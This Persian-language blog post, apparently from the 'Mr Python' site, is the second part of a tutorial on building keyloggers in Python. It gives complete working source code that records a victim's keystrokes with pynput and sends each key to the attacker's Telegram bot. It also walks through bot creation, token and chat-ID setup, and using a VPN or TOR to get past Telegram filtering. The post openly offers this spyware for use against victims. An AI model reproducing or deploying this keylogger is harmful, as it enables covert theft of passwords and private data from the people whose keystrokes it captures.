آموزش ساخت کیلاگرهای پیشرفته در پایتون قسمت ۲ : ارسال کلید های فشرده شده به تلگرام هکر :: Mr Python | مستر پایتون

آموزش ساخت کیلاگرهای پیشرفته در پایتون قسمت ۲ : ارسال کلید های فشرده شده به تلگرام هکر

  • ۶۷۳

آموزش ساخت کیلاگرهای پیشرفته در پایتون قسمت ۲ : ارسال کلید های فشرده شده به تلگرام هکر

 

درود به همه !

 

امروز با قسمت دوم از سری دنباله دار "آموزش ساخت کیلاگر های پیشرفته در پایتون" در خدمت شما هستیم . در قسمت قبلی این سری ، ما اومدیم یه کیلاگری نوشتیم که تحت شبکه کار میکرد و زمانی که قربانی اونو اجرا میکرد کلید های فشرده شده توسط قربانی رو ضبط میکرد و میفرستاد برای کامپیوتر هکر در شبکه . امروز میخوایم کاری کنیم تا کلید های فشرده شده رو بفرسته به تلگرام هکر . البته قرار بود روش ارسال به ایمیل رو توضیح بدیم ولی دیدم روش های کاربردی تری مثل ربات تلگرام وجود داره و ارسال به ایمیل واقعا نسبت به این روش دردسر های بیشتری داره .

برای درک بهتر این مطلب بهتر هستش که قسمت قبلی این ماجرا رو خونده باشین . میتونین از لینک زیر بهش دسترسی داشته باشین :

http://mrpython.blog.ir/post/56

 

برای نوشتن این اسکریپت ما علاوه بر کتابخونه های قبلی از کتابخونه ی جدیدی به نام python-telegram-bot استفاده میکنیم که یک API برای ربات های تلگرام هستش . طرز کار به این صورته که ما (هکر) میایم یه ربات تلگرام میسازیم ، حالا هر کلیدی که فشار میده طرف برای ما ارسال میشه به همون ربات تلگرامی که ساختیم .

 

پس در ابتدا باید یه ربات تلگرام بسازید . با استفاده از بات فادر (Bot Father) در تلگرام یه ربات بسازید و Token ربات رو که خود بات فادر بهتون میده رو یاد داشت کنید یه جایی (در اسکریپت بهش نیاز داریم) .

اگه نمیدونین چطوری با استفاده از بات فادر در تلگرام ربات بسازید با یه سرچ ساده تو گوگل میشه پیداش کرد .

بعد از اینکه ربات رو ساختیم و توکن روبات رو گرفتیم ، نوبت به نوشتن اسکریپت میرسه .

این اسکریپتی که ما مینویسیم دو بخش اصلی داره : ۱ - بخش ضبط کلید ها (بخش کیلاگر) . ۲ - بخش ارسال کلید ها به ربات تلگرام

 

بخش اول این اسکریپت یعنی ضبط کلید ها رو در قسمت های قبلی نوشتیم و کامل توضیحش دادیم بنابراین اگه میخواین بفهمین چه خبره میتونین یه سری به قسمت های قبلی بزنین . اگه یادتون باشه اسکریپت ضبط کلید های کیبورد به این صورت بود :

# https://MrPython.blog.ir
from pynput.keyboard import  Listener

def keypress(Key):
    Key = str(Key)

listener = Listener(on_press = keypress)
listener.start()
while True:
    pass

سورس کد بالا بخش اول اسکریپت یعنی ضبط کلید های کیبورد است . حالا ما میایم بخش دوم اسکریپتمون یعنی ارسال کلید ها به ربات تلگرام رو به سورس کد بالا اضافه میکنیم .

نهایتا سورس کد زیر بوجود میاد که سورس کامل این پروژه است :‌

from telegram.ext import Updater,CommandHandler
from pynput.keyboard import Listener

updater = Updater("TOKEN",use_context = True) # NEW
chat_id = "" # NEW

def start_method(update,context): # NEW
    context.bot.sendMessage(update.message.chat_id,"Connected !") # NEW
    global chat_id # NEW
    chat_id = update.message.chat_id # NEW

def KeyPress(Key):
    updater.bot.send_message(chat_id, str(Key)) # NEW

updater.dispatcher.add_handler(CommandHandler("start",start_method)) # NEW
updater.start_polling() # NEW

while chat_id == "":
    pass
listener = Listener(on_press=KeyPress)
listener.start()

قسمت های اصلی که جدیدا اضافه شدن رو با کامنت NEW مشخص کردیم . فقط این قسمتای جدید رو توضیح میدیم . اولین قسمت جدید شیء updater هستش که در واقع میاد شیء رباتمون رو میسازه و ما از طریق همین شیء میتونیم به رباتمون دسترسی داشته باشیم . نکته ای که هست اینه که به جای کلمه ی TOKEN باید توکن رباتتون که در هنگام ساخت از بات فادر دریافت کردین رو بنویسین .

در خط بعد یه متغییر به نام chat_id تعریف کردیم که قراره چت آی دی هکر داخل اون قرار بگیره . برای ارسال کلید ها به اکانت هکر باید chat_id هکر رو داشته باشیم .در خط بعد یه تابع به نام start تعریف کردیم که وقتی کاربر در ربات تلگرام دستور start/  رو میزنه این تابع فراخونی میشه . در اولین خط از کد های این تابع که پیغام connected  رو جهت اطمینان فرستادیم به کاربر تلگرام . در واقع کاربر تلگرام همون هکری هستش که ربات رو start  میکنه . در دو خط بعد chat_id هکر (که ربات رو start  کرده) رو ریختیم داخل متغییر chat_id که بالا تعریفش کردیم .

در تابع KeyPress که مربوط به کیلاگر هستش ما اومدیم گفتیم کلید زده شده توسط قربانی رو با استفاده از متود updater.bot.send_message بفرست به چت آی دی هکر .

سپس در خط بعد اومدیم یک هندلر برای دستور start/ در ربات گذاشتیم و تابع start در اسکریپتمون رو بهش دادیم . این خط کد باعث میشه هروقت کاربر دستور start/ رو در ربات زد ، تابع start  فراخونی بشه .در خط بعد هم که ربات تلگرام رو استارت زدیم .

پس از اون یه حلقه while نوشتیم که تا وقتی که متغییر chat_id خالیه جلو تر نره . این باعث میشه تا وقتی که هکر start ربات رو نزده و چت آی دی اون ثبت نشده کلید ها ضبط نشن چون اسکریپت نمیدونه به کی باید ارسالشون کنه . نهایتا بعد از این حلقه طبق سورس کیلاگر گفتیم کلید ها ضبط بشن.

 

یه نکته ای که باتوجه به این سورس باید بدونین اینه که از اونجایی که وقتی سورس بالا اجرا میشه chat_id هکر مشخص نیست پس باید هر بار که سورس اجرا میشه هکر یه بار دستور start/ رو توی ربات اجرا کنه تا chat_id براش ثبت بشه حتی اگه قبلا اینکارو کرده باشه . البته میتونین chat_id خودتون رو پیدا کنین و به صورت دستی داخل متغییر chat_id بزارید . اینطوری دیگه نیازی به تابع start هم نیست .

همینطور که میدونید به خاطر فیلترینگ تلگرام ، برای اجرای صحیح کیلاگر بالا باید VPN روی سیستم فعال باشه . بعضی از VPN ها هم کار نمیدن برای ربات تلگرام مثل PSIPHON . اگه این کیلاگر قراره روی لینوکس اجرا بشه TOR عالیه و اگه روی ویندوز قراره اجرا بشه گزینه های زیادی برای اینکار هست که میتونید توی اینترنت پیدا کنید .

 

همینطور که در تصویر زیر میبینید پس از اجرای اسکریپت و فرستادن دستور start/ در ربات تلگرام ، کلید ها ضبط میشن و به ربات تلگرام ارسال میشن :

 

 

یا حق !

Telegram Channel : @mrpythonblog

نظرات: (۰) هیچ نظری هنوز ثبت نشده است
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی